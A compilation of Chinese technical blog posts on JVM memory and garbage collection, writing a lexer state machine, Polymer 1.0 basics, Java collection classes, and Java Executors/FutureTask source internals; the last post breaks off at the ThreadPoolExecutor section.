2、java虚拟机栈：与 PC 一样，java 虚拟机栈也是线程私有的。每一个 JVM 线程都有自己的 java 虚拟机栈，这个栈与线程同时创建，它的生命周期与线程相同。虚拟机栈描述的是Java 方法执行的内存模型：每个方法被执行的时候都会同时创建一个栈帧（Stack Frame）用于存储局部变量表、操作数栈、动态链接、方法出口等信息。每一个方法被调用直至执行完成的过程就对应着一个栈帧在虚拟机栈中从入栈到出栈的过程。


3、本地方法栈：与虚拟机栈的作用相似，虚拟机栈为虚拟机执行执行java方法服务，而本地方法栈则为虚拟机使用到的本地方法服务。


4、Java堆：被所有线程共享的一块存储区域，在虚拟机启动时创建，它是JVM用来存储对象实例以及数组值的区域，可以认为Java中所有通过new创建的对象的内存都在此分配。


Java堆在JVM启动的时候就被创建，堆中储存了各种对象，这些对象被自动管理内存系统（Automatic Storage Management System，也即是常说的 “Garbage Collector（垃圾回收器）”）所管理。这些对象无需、也无法显示地被销毁。


JVM将Heap分为两块：新生代New Generation和旧生代Old Generation


Note:



	堆在JVM是所有线程共享的，因此在其上进行对象内存的分配均需要进行加锁，这也是new开销比较大的原因。

	鉴于上面的原因，Sun Hotspot JVM为了提升对象内存分配的效率，对于所创建的线程都会分配一块独立的空间，这块空间又称为TLAB

	TLAB仅作用于新生代的Eden Space，因此在编写Java程序时，通常多个小的对象比大的对象分配起来更加高效



5、方法区

方法区和堆区域一样，是各个线程共享的内存区域，它用于存储每一个类的结构信息，例如运行时常量池，成员变量和方法数据，构造函数和普通函数的字节码内容，还包括一些在类、实例、接口初始化时用到的特殊方法。当开发人员在程序中通过Class对象中的getName、isInstance等方法获取信息时，这些数据都来自方法区。


方法区也是全局共享的，在虚拟机启动时候创建。在一定条件下它也会被GC。这块区域对应Permanent Generation 持久代。 XX：PermSize指定大小。


6、运行时常量池

其空间从方法区中分配，存放的为类中固定的常量信息、方法和域的引用信息。




GC



  javapapers

  Java garbage collection is an automatic process to manage the runtime memory used by programs. By doing it automatic JVM relieves the programmer of the overhead of assigning and freeing up memory resources in a program.

  java 与 C语言相比的一个优势是，可以通过自己的JVM自动分配和回收内存空间。




何为GC？

垃圾回收机制是由垃圾收集器Garbage Collection GC来实现的，GC是后台的守护进程。它的特别之处是它是一个低优先级进程，但是可以根据内存的使用情况动态的调整他的优先级。因此，它是在内存中低到一定限度时才会自动运行，从而实现对内存的回收。这就是垃圾回收的时间不确定的原因。


为何要这样设计：因为GC也是进程，也要消耗CPU等资源，如果GC执行过于频繁会对java的程序的执行产生较大的影响（java解释器本来就不快），因此JVM的设计者们选着了不定期的gc。


GC有关的是: runtime data area 中的 heap（对象实例会存储在这里） 和 gabage collector方法。

程序运行期间，所有对象实例存储在运行时数据区域的heap中，当一个对象不再被引用（使用），它就需要被收回。在GC过程中，这些不再被使用的对象从heap中收回，这样就会有空间被循环利用。

GC为内存中不再使用的对象进行回收，GC中调用回收的方法--收集器garbage collector. 由于GC要消耗一些资源和时间，Java 在对对象的生命周期特征（eden or survivor）进行分析之后，采用了分代的方式进行对象的收集，以缩短GC对应用造成的暂停。


在垃圾回收器回收内存之前，还需要一些清理工作。

因为垃圾回收gc只能回收通过new关键字申请的内存（在堆上），但是堆上的内存并不完全是通过new申请分配的。还有一些本地方法（一般是调用的C方法）。这部分“特殊的内存”如果不手动释放，就会导致内存泄露，gc是无法回收这部分内存的。

所以需要在finalize中用本地方法(native method)如free操作等，再使用gc方法。显示的GC方法是system.gc()


垃圾回收技术


方法一：引用计数法。简单但速度很慢。缺陷是：不能处理循环引用的情况。

方法二：停止-复制(stop and copy)。效率低，需要的空间大，优点，不会产生碎片。

方法三：标记 - 清除算法 (mark and sweep)。速度较快，占用空间少，标记清除后会产生大量的碎片。


JAVA虚拟机中是如何做的？

   java的做法很聪明，我们称之为"自适应"的垃圾回收器，或者是"自适应的、分代的、停止-复制、标记-清扫"式垃圾回收器。它会根据不同的环境和需要选择不同的处理方式。


heap组成


由于GC需要消耗一些资源和时间的，Java在对对象的生命周期特征进行分析后，采用了分代的方式来进行对象的收集，即按照新生代、旧生代的方式来对对象进行收集，以尽可能的缩短GC对应用造成的暂停.

heap 的组成有三区域/世代：(可以理解随着时间，对象实例不断变换heap中的等级，有点像年级)



	
新生代 Young Generation



	Eden Space   任何新进入运行时数据区域的实例都会存放在此

	S0 Suvivor Space   存在时间较长，经过垃圾回收没有被清除的实例，就从Eden 搬到了S0

	S1 Survivor Space  同理，存在时间更长的实例，就从S0 搬到了S1





	旧生代 Old Generation/tenured

同理，存在时间更长的实例，对象多次回收没被清除，就从S1 搬到了tenured


	Perm  存放运行时数据区的方法区



Java 不同的世代使用不同的 GC 算法。



	Minor collection：

新生代 Young Generation 使用将 Eden 还有 Survivor 内的数据利用 semi-space 做复制收集（Copying collection）， 并将原本 Survivor 内经过多次垃圾收集仍然存活的对象移动到 Tenured。

	Major collection 则会进行 Minor collection，Tenured 世代则进行标记压缩收集。





To note that:

     这个搬运工作都是GC 完成的，这也是garbage collector 的名字来源，而不是叫garbage cleaner. GC负责在heap中搬运实例，以及收回存储空间。


GC工作原理


JVM 分别对新生代和旧生代采用不同的垃圾回收机制


何为垃圾？


Java中那些不可达的对象就会变成垃圾。那么什么叫做不可达？其实就是没有办法再引用到该对象了。主要有以下情况使对象变为垃圾：

1.对非线程的对象来说，所有的活动线程都不能访问该对象，那么该对象就会变为垃圾。

2.对线程对象来说，满足上面的条件，且线程未启动或者已停止。


例如： 
(1)改变对象的引用，如置为null或者指向其他对象。 
   Object x=new Object();//object1 
   Object y=new Object();//object2 
   x=y;//object1 变为垃圾 
   x=y=null;//object2 变为垃圾 

(2)超出作用域 
   if(i==0){ 
      Object x=new Object();//object1 
   }//括号结束后object1将无法被引用，变为垃圾 
(3)类嵌套导致未完全释放 
   class A{ 
      A a; 
   } 
   A x= new A();//分配一个空间 
   x.a= new A();//又分配了一个空间 
   x=null;//将会产生两个垃圾 
(4)线程中的垃圾 
   class A implements Runnable{   
     void run(){ 
       //.... 
     } 
   } 
   //main 
   A x=new A();//object1 
   x.start(); 
   x=null;//等线程执行完后object1才被认定为垃圾 
   这样看，确实在代码执行过程中会产生很多垃圾，不过不用担心，java可以有效地处理他们。





JVM中将对象的引用分为了四种类型，不同的对象引用类型会造成GC采用不同的方法进行回收：

   （1）强引用：默认情况下，对象采用的均为强引用

           （GC不会回收）

   （2）软引用：软引用是Java中提供的一种比较适合于缓存场景的应用

           （只有在内存不够用的情况下才会被GC）

   （3）弱引用：在GC时一定会被GC回收

   （4）虚引用：在GC时一定会被GC回收




想更一进步的支持我，请扫描下方的二维码，你懂的~



 从零开始写个编译器吧 - 词法分析器是一个状态机
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词法分析器 Tokenizer 本身就是一个状态机，生成这个状态机有很多种方法，而我打算采取手写的方式。因为 tao 语言的词法还是相对比较简单的，手写不成问题。

先新建一个LexicalAnalysis.java 于 src/com/taozeyu/taolan/analysis之中。


package com.taozeyu.taolan.analysis;

public class LexicalAnalysis {
    private static enum State {
        Normal,
        Identifier, Sign, Annotation,
        String, RegEx, Space;
    }
}



看看其中定义的 State 枚举类型，其中有6种类型与 Token 的类型对应。特别的，Normal 类型表示状态可以转化成任何一种单词类型的状态。我还是贴一张图来描述着7种状态吧。





如图所示，Normal 状态作为状态机的初始状态，也是各个其他状态的中转状态。状态机不断从源代码（即一个字符串）中读入一个一个字符，读到不同的字符将使状态机的状态从一个状态变化到另外一个状态。


例如，在 Normal 状态下读到了“#”将使状态变为 Annotation ，反过来如果继续读到一个“\n"即换行符号，则会从 Annotation 状态回到 Normal 状态。当然，对于 Identifier、 Sign、Space 的状态变化更为复杂一点，但仅凭当前读入的那一个字符就可以变化到正确的状态（图中没有表现）。


此外，当源代码读完了，如果状态机处于Normal状态，此时应该生成一个EndSymbol。但如果此时不处于 Normal 状态，那就有问题了，必须抛出一个异常。（这种情况是程序员把源代码本身写错了，例如最后一个字符串少右边的"之类的。）

至此，我就可以知道 LexicalAnalysis 类应该有那些函数可供（Parser）调用啦。


package com.taozeyu.taolan.analysis;

public class LexicalAnalysis {
    private static enum State {
        Normal,
        Identifier, Sign, Annotation,
        String, RegEx, Space;
    }

    public LexicalAnalysis(Reader reader) {
        //TODO
    }

    Token read() throws IOException, LexicalAnalysisException {
        //TODO
    }
}



至此，语法分析器 Parser 可以不断调用 read() 函数来获得 Token 对象，直到读到 EndSymbol 或抛出异常为止。注意 read() 函数的声明中 throws LexicalAnalysisException 这段。当这个异常被抛出，说明源代码写错了。这不是编译器的错，而是程序员的错，编译器只管把这个错报出来，让程序员去改代码。


当然对于程序员而言，这是个语法错误。但是既然我是在写编译器，我可能要把这些错误分得更细一点。因为这个错误是在单词化（Tokenization）阶段抛出的，因此我们将其称之为词法错误吧，以便区分。


 开坑，写点Polymer 1.0 教程第0篇——介绍篇

作者：熊丸子

来源： 开坑，写点Polymer 1.0 教程第0篇——介绍篇



                    
写在最前

我是一名近2年由Flex转web的老前端，纵观目前web界群魔乱舞的局面，个人认为目前比较火热的Angular和这篇文章要介绍的polymer是最适合我过渡的两种技术选型（由flex过渡到html+js）。相比其它web components技术，如react，我更看好polymer这种方式，它更加直观，自然，更加适合传统前端程序员的思维。由于国内polymer的资料比较少，官网在大墙之外也难于访问，我打算开个坑，一边自己学习，一边翻译和批注（扩展并添油加醋）一些官网的guide，期望大家一起来关注web components这个前端必然的发展方向。
当然也请不要怀疑我这个半路出家的web前端的专业性，本人接触组件化开发模式已有8年时间了，在学习的过程中我会就自己对组件化的一些经验和理解来检验Polymer的真身。


名词约定

由于对于web一些技术名词的定义五花八门，什么控件，组件，标签，插件，我在这里做一个统一规范，并会在后面的教程里遵循这个规范。


	标签：如<input>, <table>这些原生tag


	组件：由<input>, <table>等这些原生的标签组成的自定义组件。如：<user-list></user-list>





什么是Polymer？

Polymer 英文发音 ['pɒlɪmə]（念作： 抛了吗？  你股票Polymer？）意为高分子聚合物

Polymer是个给前端开发人员使用的类库，它可以让前端码农们更加简单，快速的开发现代化的，更屌的可重用组件。



用自定义的标签来扩展web应用

原生的html已经提供了一些内置的标签，如<button>,<form>以及<table>。每个原生标签都有自己的属性，方法，和事件。每个标签也有自己的内置样式，当然这些样式可以用自己的css来覆盖。

任何码农都可以用这些原生标签来制作一个简单的web页面。但是它们的功能是有限的。如果你要制作一个简单的tabs功能的组件（因为原生的标签不提供这个功能），就需要加上你自己的js代码和css样式。

如果使用了咱们（注意发音时候要特别嘚瑟）Polymer制作滴自定义标签，你就可以凭借一己之力扩展原生的html标签库了（多骄傲，倍儿有面子）。


<my-tabstrip>
  <my-tab>
    Home
  </my-tab>
  <my-tab>
    Services
  </my-tab>
  <my-tab>
    Contact Us
  </my-tab>
<my-tabstrip>

辣么，Polymer是web组件么？，是自定义标签么？

Polymer都不是，它其实不提供具体的组件，它只是个工具来帮助你创造出属于自己的自定义组件。你可以把它类比成俄罗斯方块

俄罗斯方块只提供了4个像素组成的5种基本形状。如果你缺少某种由5个像素组组成的异形方块，
比如这种

这个时候就要用polymer这个胶水去扩展目前4个像素的方块，把它扩展成你需要的形状。
以下这幅来自官网的图片描述的Polymer的地位和角色

由上图可见，自定义组件（Custom Element）是利用Polymer这个工具基于原生的html标签（Web components primitives）开发的。


	Web Components：原生的html标签


	The Polymer library： 提供一种语法，来让你创建自定义组件，你的自定义组件会拥有模板，双向绑定，属性监控等功能，让你用更少的代码写出更酷炫的控件。


	 Custom elements： 你的产出物，也就是自定义组件。如果你是伸手党，辣么恭喜你，polymer已经为你这样的懒人提供了一大套现成的自定义组件库。你在polymer的环境中直接使用它们就行。




你足够屌可以自己定制自己的组件，如果修行不够，也可大大方方滴占用他人的劳动成果，（优秀的组件可能都会被提供出来，当然也不排除一些大公司制作出一整套非常好用的组件候用于商业用途，需要有偿使用等等，具体我也不清楚，以后整个web components的运作模式可能会类似于apple的app store，有官方软件，有免费第三方和收费第三方）


获得这些现成的自定义标签

以下是Polymer team自己实现的一些扩展，请戳（需要翻墙）
https://elements.polymer-project.org/

本章参考官网内容的链接

https://www.polymer-project.org/1.0/docs/start/getting-the-code.html

好了，介绍篇结束。下一篇安装篇会介绍Polymer的安装


 HashMap，HashSet，Hashtable，Vector，ArrayList 的关系

作者：大舒

来源： HashMap，HashSet，Hashtable，Vector，ArrayList 的关系



                    
这么几个比较常用的但是比较容易混淆的概念同出于 java.util 包。本文仅作几个类的浅度解析。

（本文基于JDK1.7，源码来自openjdk1.7。）


├── Collection
│   ├── List
│   │   ├── ArrayList
│   │   ├── Vector
│   │   └── LinkedList and so on;
│   Set
│   ├── HashSet
│   └── LinkedHashSet and so on;
└── Map
    ├── Hashtable
    ├── HashMap
    └── WeakHashMap and so on;




Collection和Map


按理来说和这两者没有什么特别关系。然而本文中仍然将这两个混在一起：



	第一，HashSet，HashMap，Hashtable长得太像了，没有理由不写再一起。

	第二，HashSet是个Set，其实骨子里是个Map。



List


继承List的类，泛型为Integer时，注意和其他的类型不同。（因为Index是Integer）


线程安全


简单来说，List是个一维数组。Vector和ArrayList区别在于：


Vector是个线程安全的，而ArrayList不是。这点看源码可以看出来，Vector中各种synchronized，甚至连size属性都丧心病狂地synchronized了。


同样，Iterator指定Vector和ArrayList，如果中间发生变化则会抛出ConcurrentModificationException异常。

不仅仅是List，很多地方的Iterator都有这个异常，


自增大小


ArrayList没办法设置自增大小，但是仍然可以自增。

Vector可以设置自增大小。


ArrayList的自增函数：


Vector的自增函数：


private void grow(int minCapacity) {
    // overflow-conscious code
    int oldCapacity = elementData.length;
    int newCapacity = oldCapacity + ((capacityIncrement > 0) ?
                                     capacityIncrement : oldCapacity);
    //在这里，如果没有设置自增大小的话，那么默认自增大小则是原来的Vector大小。
    if (newCapacity - minCapacity < 0)
        newCapacity = minCapacity;
    if (newCapacity - MAX_ARRAY_SIZE > 0)
        newCapacity = hugeCapacity(minCapacity);
    elementData = Arrays.copyOf(elementData, newCapacity);
}



ArrayList自增函数：


private void grow(int minCapacity) {
    // overflow-conscious code
    int oldCapacity = elementData.length;
    int newCapacity = oldCapacity + (oldCapacity >> 1);
    //新长度则是旧长度的大小加上一个移位运算（一半的大小）。
    if (newCapacity - minCapacity < 0)
        newCapacity = minCapacity;
    if (newCapacity - MAX_ARRAY_SIZE > 0)
        newCapacity = hugeCapacity(minCapacity);
    // minCapacity is usually close to size, so this is a win:
    elementData = Arrays.copyOf(elementData, newCapacity);
}



所以可以简单的认为Vector默认自增一倍的长度，ArrayList则是默认自增一半的长度。


同样，对他们的源码分析：

Vector可以设置自增大小，而ArrayList则无法设置（没有这个构造方法）。


public Vector(int initialCapacity, int capacityIncrement) 



最后，可以 List list=new ArrayList<>();，然后list=new Vector<>();，使用基类List可以实现ArrayList和Vector的快速赋值。


Map


Map可以当成是简单的“Key-Value”数据库，例如memcached和redis。



  Hashtable基于Directory，有种说法是Directory已经过时，所以更推荐使用Map。




线程安全


Hashtable也是线程安全的，和Vector一样，连size函数都丧心病狂地同步了。


public synchronized int size() {                                                                                                             
    return count;
}       



HashMap不是线程安全的，当然也可以用其他的黑科技实现同步，例如SynchronizedMap和ConcurrentHashMap。

那个以后再说……


空值


HashMap允许在Key和Value中都出现null值。例如：


v.toString()
{null=null, 1=66, 2=null, 3=4d, 4=0f, 5=null}



而Hashtable则不允许K/V的任何一个出现null值，但是允许空字符串。


Hashtable<String,String> v=new Hashtable<String,String>();
v.put("3s",null); 



直接报错：java.lang.NullPointerException。

这个和内部实现有关，Hashtable需要用到hashCode，所以必须要确保K/V不为null。


相关代码写死在源码里：


public synchronized V put(K key, V value) {
 // Make sure the value is not null
 if (value == null) {
     throw new NullPointerException();
 }
 //下面对hashCode做点事情。



Set


HashSet本质上是一个Collection，类似于List，是列表/集合，不是K-V的Map，但是它骨子里是一个HashMap……


这么说可能会更易于理解：

HashSet对外是“类”的集合，实际上是内部维护了一个HashMap进行实现。


实际上存储的是两个：hashCode和类本身（字符串/自定义类等）。


HashSet进行add的时候，会先进行验证hashCode：

(HashSet进行add操作实际上是对Map的put操作)


public V put(K key, V value) {
    if (table == EMPTY_TABLE) {
        inflateTable(threshold);
    }
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);//本函数里有hashCode
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}



一个对HashSet的自定义类的操作：


 class Name  
{  
    private String first;   
    private String last;   

    public Name(String first, String last)   
    {   
        this.first = first;   
        this.last = last;   
    }   

    public boolean equals(Object o)   
    {   
        if (this == o)   
        {   
            return true;   
        }   

    if (o.getClass() == Name.class)   
        {   
            Name n = (Name)o;   
            return n.first.equals(first)   
                && n.last.equals(last);   
        }   
        return false;   
    }   
}  

public class HashSetTest  
{  
    public static void main(String[] args)  
    {   
        Set<Name> s = new HashSet<Name>();  
        s.add(new Name("abc", "123"));  
        System.out.println(  
            s.contains(new Name("abc", "123")));  
    }  
}   



代码来自java中HashSet详解



  粗看上去是会返回true的，实际返回false。因为 HashSet 判断两个对象相等的标准除了要求通过 equals() 方法比较返回 true 之外，还要求两个对象的 hashCode() 返回值相等。而上面程序没有重写 Name 类的 hashCode() 方法，两个 Name 对象的 hashCode() 返回值并不相同，因此 HashSet 会把它们当成 2 个对象处理，因此程序返回 false。如果想返回true，需要重写equals方法和hashCode方法。





  至于hashCode，就是另一篇文章才解释得清的了。




集合操作


Set其实做集合操作更加简单。例如：


import java.util.*;
public class SetOperation {
       public static void main(String[] args) {
            Set<Integer> result = new HashSet<Integer>();
            Set<Integer> set1 = new HashSet<Integer>(){{
                add(1);
                add(3);
                add(5);
            }};

            Set<Integer> set2 = new HashSet<Integer>(){{
                add(1);
                add(2);
                add(3);
            }};

            result.clear();
            result.addAll(set1);
            result.retainAll(set2);
            System.out.println("交集："+result);

            result.clear();
            result.addAll(set1);
            result.removeAll(set2);
            System.out.println("差集："+result);

            result.clear();
            result.addAll(set1);
            result.addAll(set2);
            System.out.println("并集："+result);

        }
}



输出：


交集：[1, 3]
差集：[5]
并集：[1, 2, 3, 5]



参考文档


hashSet中的equals方法和hashCode方法


 Java Executors 源码分析

作者：oyjh1986
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0 引言


前段时间需要把一个C++的项目port到Java中，因此时隔三年后重新熟悉了下Java。由于需要一个通用的线程池，自然而然就想到了Executors。


用了后，感觉很爽... 于是忍不住抠了下源码。因此就有了这篇学习笔记。


言归正传，Java Executor是一个功能丰富，接口设计很好的，基于生产者-消费者模式的通用线程池。这种线程池的设计思想也在很多地方被应用。


在这篇文章中，我并不打算介绍java线程池的使用，生产者-消费者模式，并发编程基本概念等。


通常来说，一个线程池的实现包括四个部分：



	执行任务的线程

	用于封装任务的task对象

	存储任务的数据结构

	线程池本身



1 Thread


Thread 并不是concurrent包的一部分。Thread包含着name, priority等成员和对应的操作方法。


它是继承自runable的，也就是说线程的入口函数是run。它的继承体系和重要操作函数如下图：





它实现了一系列包括sleep, yield等静态方法。以及获取当前线程的静态方法currentThread()。这些都是native方法。


值得注意的是它的中断机制（虽然它也实现了suspend和resume方法，但是这两个方法已被弃用）：



	通过调用interrupt来触发一个中断

	isInterrupted() 用来查询线程的中断状态

	interrupted() 用来查询并清除线程的中断状态



public void interrupt() {
    if (this != Thread.currentThread())
        checkAccess();
    synchronized (blockerLock) {
        Interruptible b = blocker;
        if (b != null) {
            interrupt0();           // Just to set the interrupt flag
            b.interrupt(this);
            return;
        }
    }
    interrupt0();
}



在默认的情况下，blocker (Interruptible 成员变量）的值为null, 这时调用interrupt，仅仅是调用interrupt0设置一个标志位。


而如果blocker的值不为null，则会调用其interrupt方法实现真正的中断。


(关于blocker值何时被设置，在后面会看到一个使用场景。)


当线程处于可中断的阻塞状态时，比如说阻塞在sleep, wait, join,select等操作时，调用interrupt方法会让线程从阻塞状态退出，并抛出InterruptedException。


值得注意的一点是：interrupt让我们从阻塞的方法中退出，但线程的中断状态却并不会被设置！


try {
    Thread.sleep(10);
}
catch (InterruptedException e) {
    System.out.println("IsInterrupted: " + Thread.currentThread().isInterrupted());
}



如上述示例代码，此时你得到的输出是： IsInterrupted : false 。这是一个有点令人意外的地方。

上述代码并不是一个好的示例，因为interrupt被我们“吃”掉了！除非你明确的知道这是你想要的。否则的话请考虑在异常捕获中(catch段中)加上：


Thread.currentThread.interrupt();



2. Task


Java可执行的接口类有两种，Runnable和Callable，它们的区别是Callable可以带返回值，一个需要实现Run()方法，另一个需要实现带返回值的Call() 方法。


在java.util.concurret中还有另外一个接口类Future。


Future表示一个异步任务的结果，就是user code向线程池提交一个任务后，它会返回对应的 Future对象。用以观察任务执行的状态(isCancelled, isDone)，取消任务(Cancel)或者等待任务执行(get, timeout get)。





如上图，RunnableFuture是一个中间类，它将Runnable和Future的功能糅合到一起。FutureTask 则是真正的实现。


FutureTask


FutureTask可以从一个Runnable和Callable构造，当通过Runnable构造时，它会调用Excutors.callable接口将其转为Callable对象保存起来。


从上面的类图中可以看出，FutureTask除了简单的状态查询等接口外，还具有两个重要的接口：get() 和 get(long timeout, TimeUnit unit))， cancel(bool mayInterruptIfRunning)。


它们分别提供两个重要的功能：阻塞（当前线程）等待（一段时间）直到task完成或者异常终止；取消任务。


任务取消


一个任务具有三种状态：尚未运行，正在运行，已经执行完毕。


在调用cancel后，如果任务处于已经执行完毕了，则不需要做任何事情直接返回；


如果任务尚未运行，将其状态设为cancelled；

如果任务正在执行，而且user以cancel(true)的方式取消这个任务。那么FutureTask会通过调用Thread.interrupt来终止当前任务。


public boolean cancel(boolean mayInterruptIfRunning) {
    // 任务已经完成或者被中断等其他状态
    if (state != NEW)
        return false;
    if (mayInterruptIfRunning) {
        // 正在运行，或者尚未运行
        if (!UNSAFE.compareAndSwapInt(this, stateOffset, NEW, INTERRUPTING))
            return false;
        Thread t = runner;
        if (t != null)
            t.interrupt();
        UNSAFE.putOrderedInt(this, stateOffset, INTERRUPTED); // final state
    }
    // 设置cancel标志位
    else if (!UNSAFE.compareAndSwapInt(this, stateOffset, NEW, CANCELLED))
        return false;
    finishCompletion();
    return true;
}



注意到： FutureTask并没有一个RUNNING的状态来标识该任务正在执行。正常的情况下，任务从开始创建直到运行完毕，这段过程的状态都是NEW。


阻塞等待


user code可以调用get() 接口等待任务完成或者调用get(long, TimeUnit)等待一段时间。但get()接口被调用，当前的线程将被挂起，直到条件满足（任务完成或者异常退出）。


在前文中我们了解到，Thread并没有提供挂起和阻塞的方法。在这里，Java利用LockSupport类来实现目的。（我猜测其中用了类似条件变量的方法来实现）。


park


LockSupport也属于concurrent。FutureTask利用它的park (parkNanos)和unpark方法来实现线程的挂起和恢复:



public static void park(Object blocker) {
    Thread t = Thread.currentThread();
    setBlocker(t, blocker);
    unsafe.park(false, 0L);
    setBlocker(t, null);
}

public static void unpark(Thread thread) {
    if (thread != null)
        unsafe.unpark(thread);
}



其中parkNanos跟park方法并无本质区别，只是多了一个timeout参数。FutureTask分别用它们来实现get和timeout的get。


注意到上面的setBlocker方法了吗？没错，它就是给在上文Thread.interrupt方法中出现过的Thread成员变量blocker赋值。从这我们可以看出，它是可中断的。


而它真正实现挂起的则是依赖unsafe类。unsafe类在concurrent中频繁出现，但sun去并不建议使用它。


它除了提供park，unpark方法外，还提供了一些内存和同步原语。比如CAS等。


多个等待者


调用get()的线程可以是一个，也可以是多个。为了能够在恰当的时机将它们一一恢复，FutureTask内部需要维护一个链表来记录所有的等待线程：waiters.


static final class WaitNode {
    volatile Thread thread;
    volatile WaitNode next;
    WaitNode() { thread = Thread.currentThread(); }
}



get 全貌


至此，我们终于了解get的全貌了。get会调用awaitDone方法来实现阻塞。当然，只有两个状态需要处理：NEW, COMPLETING。


NEW的状态在前文已经有介绍过。COMPLETING状态通常持续较短，在FutureTask 内部的callable 的call方法调用完毕后，会需要将call的返回值设置到outcome这个成员变量。随后将状态设为NORMAL。这期间的状态就是COMPLETING。


显而易见，对于这种状态，我们只需要调用yield让出线程资源，使得FutureTask完成这一过程即可。



private int awaitDone(boolean timed, long nanos)
     throws InterruptedException {
     final long deadline = timed ? System.nanoTime() + nanos : 0L;
     WaitNode q = null;
     boolean queued = false;
     for (;;) {
         if (Thread.interrupted()) {
             removeWaiter(q);
             throw new InterruptedException();
         }
         int s = state;
         if (s > COMPLETING) { // 1
             if (q != null)
                 q.thread = null;
             return s;
         }
         else if (s == COMPLETING) // cannot time out yet  2
             Thread.yield();
         else if (q == null)  // 3
             q = new WaitNode();
         else if (!queued)  // 4
             queued = UNSAFE.compareAndSwapObject(this, waitersOffset,
                                                  q.next = waiters, q);
         else if (timed) { // 5
             nanos = deadline - System.nanoTime();
             if (nanos <= 0L) {
                 removeWaiter(q);
                 return state;
             }
             LockSupport.parkNanos(this, nanos);
         }
         else  // 6
             LockSupport.park(this);
     }
 }



当任务处于NEW状态正在被执行时，其他线程调用get而进入awaitdone函数。


此时的流程是 3 -> 4 -> 5 或者 3 -> 4 -> 6。


它会首先分配一个WaitNode对象 --> 把它插入到waiters链表的表头 --> 然后开始等待。那么park函数何时返回呢？



	对应的unpark被调用（或者在这之前已经被调用）

	如果设置了timeout的，会在时间到达后退出。

	被中断。

	其他异常。



等待线程恢复


当任务执行完毕(或者被cancel)时，FutureTask会调用最终调用finishcompletion，改函数会改变FutureTask状态，并调用LockSupport.unpark方法。


此时，awaitDone线程从park中返回，然后检查当前的状态已经被改变，随后退出for循环。


线程安全


FutureTask是会被多个线程访问的，涉及到临界区的保护，但是其内部却并没有任何的锁操作。而在该类定义的末尾，有这样的代码。


private static final sun.misc.Unsafe UNSAFE;
private static final long stateOffset;
private static final long runnerOffset;
private static final long waitersOffset;
static {
    try {
        UNSAFE = sun.misc.Unsafe.getUnsafe();
        Class<?> k = FutureTask.class;
        stateOffset = UNSAFE.objectFieldOffset
            (k.getDeclaredField("state"));
        runnerOffset = UNSAFE.objectFieldOffset
            (k.getDeclaredField("runner"));
        waitersOffset = UNSAFE.objectFieldOffset
            (k.getDeclaredField("waiters"));
    } catch (Exception e) {
        throw new Error(e);
    }
}



这段代码会在类被加载时执行一次。注意到它利用getDeclaredField反射机制来保存了三个offset:

stateOffset,runnerOffset,waitersOffset分别对应着state,runner,waiters这三个成员的偏移量。


FutureTask真是对这三个成员变量进行CAS操作来保证原子性和无锁化的。实现CAS的类正是上文出现过的sun.misc.Unsafe类。


UNSAFE.compareAndSwapObject(this, runnerOffset, null, Thread.currentThread())



第一个参数是对象指针，第二个是偏移量，第三个是旧值，最后一个是新值。详细可参考Unsafe文档。


3. BlockingQueue


java实现了生产者-消费者模式的队列。由于队列的容量有限，因此涉及到在队列为空的时候取task和在队列已满的时候存task的策略，连同一系列的查询函数一起，BlockingQueue包含着11个静态方法。


BlockingQueue只是一个interface，它的实现类包括链表方式的LinkedBlockingQueue 、数组方式的ArrayBlockingQueue以及PriorityBlockingQueue等。


LinkedBlockingQueue


下面以LinkedBlockingQueue为例来了解一下它的实现。


LinkedBlockingQueue是一个FIFO的队列，它真正用来存储元素的节点类型是Node ：


static class Node<E> {
    E item;
    Node<E> next;
    Node(E x) { item = x; }
}



对应的，在LinkedBlockingQueue中保存了头节点和尾节点 :


/**
 * Head of linked list.
 * Invariant: head.item == null
 */
private transient Node<E> head;
/**
 * Tail of linked list.
 * Invariant: last.next == null
 */
private transient Node<E> last;



在LinkedBlockingQueue中，Java使用了双锁机制，分别对头节点和尾节点加锁。这样取和存的操作就可以同时进行了。



/** Lock held by take, poll, etc */
private final ReentrantLock takeLock = new ReentrantLock();
/** Wait queue for waiting takes */
private final Condition notEmpty = takeLock.newCondition();
/** Lock held by put, offer, etc */
private final ReentrantLock putLock = new ReentrantLock();
/** Wait queue for waiting puts */
private final Condition notFull = putLock.newCondition();



以take为例，获取并移除此队列的头部，在元素变得可用之前一直等待（可被打断）。



public E take() throws InterruptedException {
    E x;
    int c = -1;
    final AtomicInteger count = this.count;
    final ReentrantLock takeLock = this.takeLock;
    takeLock.lockInterruptibly();
    try {
        while (count.get() == 0) {
            notEmpty.await();
        }
        x = dequeue();
        c = count.getAndDecrement();
        if (c > 1)
            notEmpty.signal();
    } finally {
        takeLock.unlock();
    }
    if (c == capacity)
        signalNotFull();
    return x;
}



它将会一直阻塞在notEmpty.await()上，直到信号到达或者被中断。注意到它只需要对takeLock加锁，而无需对putLock加锁。


相应的，put操作也只需要锁上putLock就可以了。


有的操作则需要两个锁都锁上，比如说remove，因为我们不确定要删除的元素的位置。


public boolean remove(Object o) {
    if (o == null) return false;
    fullyLock();
    try {
        for (Node<E> trail = head, p = trail.next;
             p != null;
             trail = p, p = p.next) {
            if (o.equals(p.item)) {
                unlink(p, trail);
                return true;
            }
        }
        return false;
    } finally {
        fullyUnlock();
    }
}



可以看到LinkedBlockingQueue 并没有直接调用lock，而是通过fullyLock和fullyUnLock来加解锁以保证一致性，避免死锁:



/**
 * Lock to prevent both puts and takes.
 */
void fullyLock() {
    putLock.lock();
    takeLock.lock();
}
/**
 * Unlock to allow both puts and takes.
 */
void fullyUnlock() {
    takeLock.unlock();
    putLock.unlock();
}



当然，双锁队列在插入第一个元素和最后一个元素出队的时候会有冲突。这里的解决办法是加了一个哨兵，开始的时候，头尾节点都指向这个哨兵，在随后的操作中，头结点始终指向哨兵，而尾节点指向真正有效的值。


4. Executors


类结构


有了前面这些零件，我们就可以开始组装线程池对象了。java里面Executors的真正实现类主要包括两个ThreadPollExecutors和ScheduledThreadPoolExecutor。其中ScheduledThreadPoolExecutor通过实现其基类ScheduledExecutorService扩展了ThreadPoolExecutor类。





SheduledExecutorsService主要用于执行周期性的或者定时的任务。其他情况下我们更多使用ThreadPoolExecutor。


ThreadPoolExecutor


